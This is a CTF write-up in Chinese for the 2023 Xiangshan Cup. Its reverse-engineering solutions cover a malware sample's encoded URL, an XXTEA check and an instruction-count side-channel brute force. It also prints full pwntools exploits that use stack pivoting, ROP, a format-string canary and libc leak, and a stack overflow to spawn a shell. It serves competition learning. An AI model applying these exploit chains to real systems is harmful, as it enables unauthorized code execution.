2023香山杯RE&PWN writeup

2023香山杯RE&PWN writeup

RE

URL从哪来

32位windows恶意软件分析

微步检测1

题目给的exe又在c盘生成了另一个程序并创建进程,ou.exe可以直接从微步下载,或者根据偏移提取

分析c盘中真正的恶意程序对数据进行逐位-30和base64加密

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
v3[0] = 120;
v3[1] = 139;
v3[2] = 150;
v3[3] = 134;
v3[4] = 120;
v3[5] = 81;
v3[6] = 145;
v3[7] = 80;
v3[8] = 108;
v3[9] = 98;
v3[10] = 119;
v3[11] = 83;
v3[12] = 108;
v3[13] = 136;
v3[14] = 99;
v3[15] = 80;
v3[16] = 120;
v3[17] = 113;
v3[18] = 78;
v3[19] = 80;
v3[20] = 107;
v3[21] = 152;
v3[22] = 119;
v3[23] = 83;
v3[24] = 106;
v3[25] = 114;
v3[26] = 119;
v3[27] = 151;
v3[28] = 108;
v3[29] = 139;
v3[30] = 119;
v3[31] = 146;
v3[32] = 108;
v3[33] = 152;
v3[34] = 99;
v3[35] = 80;
v3[36] = 109;
v3[37] = 113;
v3[38] = 78;
v3[39] = 81;
v3[40] = 108;
v3[41] = 98;
v3[42] = 119;
v3[43] = 150;
v3[44] = 108;
v3[45] = 152;
v3[46] = 95;
v3[47] = 80;
v3[48] = 107;
v3[49] = 114;
v3[50] = 129;
v3[51] = 81;
v3[52] = 108;
v3[53] = 136;
v3[54] = 100;
v3[55] = 87;
v14 = 56;
Block = malloc(0x39u);
if ( !Block )
return 1;
memset(Block, 0, v14 + 1);
for ( i = 0; i < v14; ++i )
*((_BYTE *)Block + i) = LOBYTE(v3[i]) - 30;
v13 = sub_401110((const char *)Block);

写脚本

1
2
3
4
5
6
7
8
import base64
v3 = [120, 139, 150, 134, 120, 81, 145, 80, 108, 98, 119, 83, 108, 136, 99, 80, 120, 113, 78, 80, 107, 152, 119, 83, 106, 114, 119, 151, 108, 139, 119, 146, 108, 152, 99, 80, 109, 113, 78, 81, 108, 98, 119, 150, 108, 152, 95, 80, 107, 114, 129, 81, 108, 136, 100, 87]
block = ''
for i in v3:
block += chr(i-30)

block = base64.b64decode(block)
print(block)

hello_py

chaquopy框架app的逆向

https://blog.csdn.net/wwb1990/article/details/104051068

java层找到MainActivity和import导入的b.c.a.a

这里应该是类似导入python代码,可以推测python文件名应该是hello

1
s = Python.getInstance().getModule("hello");

这里通过callAttr调用了sayhello函数

1
s.callAttr("sayHello", new Object[0]);

这里应该是监听鼠标点击按钮的事件,触发后跳转到a,即b.c.a.a

1
this.p.setOnClickListener(new a(this));

找到这里,最关键的check函数是python源码中的函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
public void onClick(View view) {
Context baseContext;
String str;
String obj = this.f717b.r.getText().toString();
this.f717b.q.setText(obj);
if (MainActivity.s.callAttr("check", obj).toBoolean()) {
baseContext = this.f717b.getBaseContext();
str = "you are right~ flag is flag{your input}";
} else {
baseContext = this.f717b.getBaseContext();
str = "Wrong!";
}
Toast.makeText(baseContext, str, 1).show();
}

问了chatgpt,该框架app打包后的python代码位于assets文件夹,但是里面只有.imy文件和so文件,so文件翻了一遍,都不像是有check函数,查看imy文件时发现开头都是PK,可能是压缩包,换后缀名为rar解压发现app.imy中就是hello.py

代码都是混淆后的,用pycharm对代码进行简单的重命名,如下对check函数进行了简单去混淆,分析可得加密流程是先将字符串四个字节一组小端序转换为int数组,一共36个字符9个int,然后xxtea加密,xxtea的特征有0x9e3779b9,5234的位移,6 + 52,

这题的xxtea代码和该博客的一模一样

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
from java import jboolean ,jclass #line:1
import struct #line:3
import ctypes #line:4
def MX (O0O00OOO00OO00O00 ,O0OO0O00OO0O000OO ,OO000OO000000O0O0 ,OOO00O00OOO000OOO ,OO0OOO0OOO0OOOO0O ,O0OO000O0000O000O ):#line:7
OOO000O0O0OO00000 =(O0O00OOO00OO00O00 .value >>5 ^O0OO0O00OO0O000OO .value <<2 )+(O0OO0O00OO0O000OO .value >>3 ^O0O00OOO00OO00O00 .value <<4 )#line:8
OOO0OOOOOO0O0OO00 =(OO000OO000000O0O0 .value ^O0OO0O00OO0O000OO .value )+(OOO00O00OOO000OOO [(OO0OOO0OOO0OOOO0O &3 )^O0OO000O0000O000O .value ]^O0O00OOO00OO00O00 .value )#line:9
return ctypes .c_uint32 (OOO000O0O0OO00000 ^OOO0OOOOOO0O0OO00 )#line:11
def encrypt (n, input, key):#line:14
O0OOO0OO00O0000OO =0x9e3779b9 #line:15
OOOO0OOOO00O0OOOO = 6 + 52 // n #line:16
O00OO00000O0OO00O =ctypes .c_uint32 (0 )#line:18
OO0OOOO0O0O0O0OO0 =ctypes .c_uint32 (input [n - 1])#line:19
OOOOO00000OOOOOOO =ctypes .c_uint32 (0 )#line:20
while OOOO0OOOO00O0OOOO >0 :#line:22
O00OO00000O0OO00O .value +=O0OOO0OO00O0000OO #line:23
OOOOO00000OOOOOOO .value =(O00OO00000O0OO00O .value >>2 )&3 #line:24
for OO0O0OOO000O0000O in range (n - 1):#line:25
OOO0OO00O0OO0O000 =ctypes .c_uint32 (input [OO0O0OOO000O0000O + 1])#line:26
input [OO0O0OOO000O0000O]=ctypes .c_uint32 (input [OO0O0OOO000O0000O] + MX (OO0OOOO0O0O0O0OO0, OOO0OO00O0OO0O000, O00OO00000O0OO00O, key, OO0O0OOO000O0000O, OOOOO00000OOOOOOO).value).value #line:27
OO0OOOO0O0O0O0OO0 .value =input [OO0O0OOO000O0000O]#line:28
OOO0OO00O0OO0O000 =ctypes .c_uint32 (input [0])#line:29
input [n - 1]=ctypes .c_uint32 (input [n - 1] + MX (OO0OOOO0O0O0O0OO0, OOO0OO00O0OO0O000, O00OO00000O0OO00O, key, n - 1, OOOOO00000OOOOOOO).value).value #line:30
OO0OOOO0O0O0O0OO0 .value =input [n - 1]#line:31
OOOO0OOOO00O0OOOO -=1 #line:32
return input #line:34

def check (input):#line:63
print ("checking~~~: " + input)#line:64
input =str (input)#line:65
if len (input)!=36 :#line:66
return jboolean (False )#line:67
v1 =[]#line:69
for i in range (0 ,36 ,4 ):#line:70
result = input [i:i + 4].encode ('latin-1')#line:71 每四字节按latin-1编码
v1 .append (result )#line:72
v2 =[]#line:73
for i in v1 :#line:74
v2 .append (struct .unpack ("<I",i )[0 ])#line:75 将四字节int按小端序打包
print (v2 )#line:77
result =encrypt (9 ,v2 ,[12345678 ,12398712 ,91283904 ,12378192 ])#line:78
chiper =[689085350 ,626885696 ,1894439255 ,1204672445 ,1869189675 ,475967424 ,1932042439 ,1280104741 ,2808893494 ]#line:85
for i in range (9 ):#line:86
if chiper [i ]!=result [i ]:#line:87
return jboolean (False )#line:88
return jboolean (True )#line:90
def sayHello ():#line:92
print ("hello from py")#line:93

脚本,注意解密后需要每四字节转换端序后再转化成字符串

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
from ctypes import *
import binascii
import struct

def MX(z, y, total, key, p, e):
temp1 = (z.value >> 5 ^ y.value << 2) + (y.value >> 3 ^ z.value << 4)
temp2 = (total.value ^ y.value) + (key[(p & 3) ^ e.value] ^ z.value)

return c_uint32(temp1 ^ temp2)


def encrypt(n, v, key):
delta = 0x9e3779b9
rounds = 6 + 52 // n

total = c_uint32(0)
z = c_uint32(v[n - 1])
e = c_uint32(0)

while rounds > 0:
total.value += delta
e.value = (total.value >> 2) & 3
for p in range(n - 1):
y = c_uint32(v[p + 1])
v[p] = c_uint32(v[p] + MX(z, y, total, key, p, e).value).value
z.value = v[p]
y = c_uint32(v[0])
v[n - 1] = c_uint32(v[n - 1] + MX(z, y, total, key, n - 1, e).value).value
z.value = v[n - 1]
rounds -= 1

return v


def decrypt(n, v, key):
delta = 0x9e3779b9
rounds = 6 + 52 // n

total = c_uint32(rounds * delta)
y = c_uint32(v[0])
e = c_uint32(0)

while rounds > 0:
e.value = (total.value >> 2) & 3
for p in range(n - 1, 0, -1):
z = c_uint32(v[p - 1])
v[p] = c_uint32((v[p] - MX(z, y, total, key, p, e).value)).value
y.value = v[p]
z = c_uint32(v[n - 1])
v[0] = c_uint32(v[0] - MX(z, y, total, key, 0, e).value).value
y.value = v[0]
total.value -= delta
rounds -= 1

return v



if __name__ == "__main__":
k = [12345678 ,12398712 ,91283904 ,12378192 ]
n = 9
res = [689085350 ,626885696 ,1894439255 ,1204672445 ,1869189675 ,475967424 ,1932042439 ,1280104741 ,2808893494 ]
res = decrypt(n, res, k)
print("Decrypted data is : ", hex(res[0]), hex(res[1]), hex(res[2]), hex(res[3]), hex(res[4]), hex(res[5]), hex(res[6]), hex(res[7]), hex(res[8]))
v1 = [b'\x38\x66\x31\x63', b'\x36\x65\x63\x61', b'\x34\x62\x34\x2d', b'\x39\x34\x2d\x36', b'\x62\x2d\x31\x33', b'\x2d\x62\x35\x32', b'\x31\x30\x31\x61', b'\x39\x38\x61\x30', b'\x32\x39\x35\x63']
v2 = []
for i in v1:
v2.append(struct.unpack("<I", i)[0])
print(v2)
for i in range(9):
print(hex(v2[i]),end=' ')
#63316638616365362d346234362d343933312d623235622d613130313061383963353932
asc = '63316638616365362d346234362d343933312d623235622d613130313061383963353932'
str = binascii.unhexlify(asc)
print(str)

nesting

虚拟机逆向

vm题的一些思路

1.还原结构体和switch跳表,读懂vm代码,写代码将opcode转化成汇编指令语句然后再逆向汇编代码,这种方法效率最低,做一题需要很久,像这次比赛两个小时肯定不够,除非做到过类似的。

2.软件分析工具和脚本。

3.爆破。主要用于程序对flag(input)的检测是逐位的情况下,每一位的对错都会导致执行流的改变,执行时间或执行指令数量相差巨大,这样就能进行侧信道逐位爆破。战队里大佬用侧信道的方式爆破出来了,学习一下。

首先来逆向代码

run_vm中的代码比较混乱,主要原因是将a1识别成了数组,并将swtich语句识别成了if-else语句,需要创建结构体对a1进行重定义并恢复switch跳表

tips:ida7.7及以上可以识别出switch语句,不需要手动恢复

ida创建结构体参考 ida修复switch跳表参考

跳表修复时Default jump address不设定好的话,会出现多余的case

结构体创建完后将run_vm函数的指向opcode的参数定义成刚刚创建的结构体(选中,右键, Convert to struct)

修复前

修复后

现在代码就比较美观了,但是虚拟机的逻辑还是很复杂,所以不逆了

程序运行后会让你输入flag并检测flag是否正确

1
Input your flag:

这里用sde来统计程序运行到的指令数量,结果会在命令行以ICOUNT: 3421916的形式输出,这也方便爆破脚本的编写

1
sde -icount -- ./nesting

可以发现每多输入一位,总指令数都会增加20万左右

flag的前4位必定是”flag”,分别输入”1111”,”f111”,”fl11”,”fla1”,”flag”可以发现在位数相同的情况下,flag每正确一位总指令数会增加55000左右,说明flag是逐位check的,并且不同结果的执行流长度相差较大,可以通过这一点来爆破flag

爆破脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
from pwn import*

def run(str):
p = process(['sde64','-icount','--','./nesting'])
p.recvuntil('Input your flag:')
p.sendline(str)
p.recvuntil('ICOUNT:')
icount = int(p.recvline())
p.close()
return icount

table = '0123456789abcdef-}'
#table = string.printable
flag = 'flag{'

while True:
t1 = run(flag+'#')
ok = 0
for ch in table:
t2 = run(flag+ch)
if(t2-t1>50000):
flag = flag + ch
ok = 1
print(flag)
break
if(ok==0):
print('result : '+flag)
exit()
#flag{2c7c093b-f648-11ed-a716-701ab8caaafe}

PWN

move

main函数

vuln函数

先读取0x20的数据到bss段,再读取4字节数据,等于0x12345678的话vuln函数中可以栈溢出0x10字节,可以覆盖rbp和返回地址

思路是栈迁移到bss段,跳转到vuln中的read函数,向bss中的rbp-0x30处读入0x40的数据,不断重复构造。

注意第二次和第三次执行vuln中的read函数时ROP是在read函数中进行的,read函数本身没有push rbp和leave,只有ret,利用read中的ret返回到bss中的p64(rbp_ret) + p64(bss_addr-0x30-8) + p64(leave_ret)来反复在bss段进行ROP。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
from pwn import* 
from LibcSearcher import*
context(log_level='debug',os="linux", arch="amd64")

elf = ELF('./pwn')

io = process('./pwn')



def debug():
gdb.attach(io,'b main')
sleep(1)
rbp_ret = 0x401262

rdi_ret = 0x401353

puts_got = 0x404018

puts_plt = 0x401080

bss_addr = 0x4050A0

leave_ret = 0x4012E0

vuln_read = 0x401230

io.recvuntil('lets travel again!')
bss1 = p64(bss_addr) + p64(vuln_read)
io.send(bss1)

io.recvuntil('Input your setp number')
io.send(b'\x78\x56\x34\x12')

#debug()

io.recvuntil('TaiCooLa')
payload1 = b'a'*0x30 + p64(bss_addr) + p64(leave_ret)
io.send(payload1)

sleep(0.5)
bss2 = p64(rdi_ret) + p64(puts_got) + p64(puts_plt) + p64(rbp_ret) + p64(bss_addr) + p64(vuln_read) + p64(bss_addr-0x30-8) + p64(leave_ret)
io.send(bss2)

puts_addr = u64(io.recv(6).ljust(8,b'\x00'))

success('puts_addr = ' + hex(puts_addr))

libc = LibcSearcher('puts',puts_addr)

libc_base = puts_addr - libc.dump('puts')

success('libc_base = ' + hex(libc_base))

system_addr = libc_base + libc.dump('system')

binsh = libc_base + libc.dump('str_bin_sh')

sleep(0.5)
payload2 = p64(rdi_ret) + p64(binsh) + p64(system_addr) + p64(0) + p64(0) + p64(rbp_ret) + p64(bss_addr-0x30-8) + p64(leave_ret)
io.send(payload2)

io.interactive()

pwthon

本地运行条件:

1
sys.path.append('path_to/app.cpython-37m-x86_64-linux-gnu.so')

查看保护

1
2
3
4
5
6
7
$ checksec app.cpython-37m-x86_64-linux-gnu.so  
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
RPATH: '/home/xiran/anaconda3/envs/cython/lib'

打开ida,通过查看字符串交叉引用找到Welcome2Pwnthon函数

发现泄露了app_so库中__pyx_f_3app_get_info函数的地址,第一次read后有格式化字符串漏洞,第二次read存在栈溢出。

用gdb调试,在栈上找到了open64函数,并且在canary之前,那么一次格式化字符串可以泄露libc+canary

exp,ubuntu2004本机打通了,其它环境可能open64和canary的偏移要修改

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
from pwn import*
from LibcSearcher import*
context(log_level='debug',arch='amd64')

io = process(['python3.7','main.py'])

def debug():
gdb.attach(io,'b _pyx_f_3app_Welcome2Pwnthon')
sleep(1)
io.sendline('0')
io.recvuntil('Give you a gift ')
app_info = int(io.recv(),16)
success('app_info = ' + hex(app_info))
app_base = app_info - 0x68b0
success('app_base = ' + hex(app_base))

#debug()
io.sendline('%p-'*35)
datas = io.readline().decode().split("-")
open64_addr = int(datas[23],16)-232
canary = int(datas[29],16)

libc = LibcSearcher('open64',open64_addr)
libc_base = open64_addr - libc.dump('open64')
success('libc_base = ' + hex(libc_base))
system_addr = libc_base + libc.dump('system')
binsh_addr = libc_base + libc.dump('str_bin_sh')
rdi_ret = app_base + 0x3f8f
ret = app_base + 0x301a

payload = b'a'*0x108 + p64(canary) + p64(0) + p64(ret) + p64(rdi_ret) + p64(binsh_addr) + p64(system_addr)
io.sendline(payload)

io.interactive()

reference

星盟2023香山杯2023香山杯wp

ArrestYou香山杯2023香山杯wp,公众号山海之关


2023香山杯RE&PWN writeup
https://lkliki.github.io/2023/10/18/2023香山杯wp/
作者
0P1N
发布于
2023年10月18日
许可协议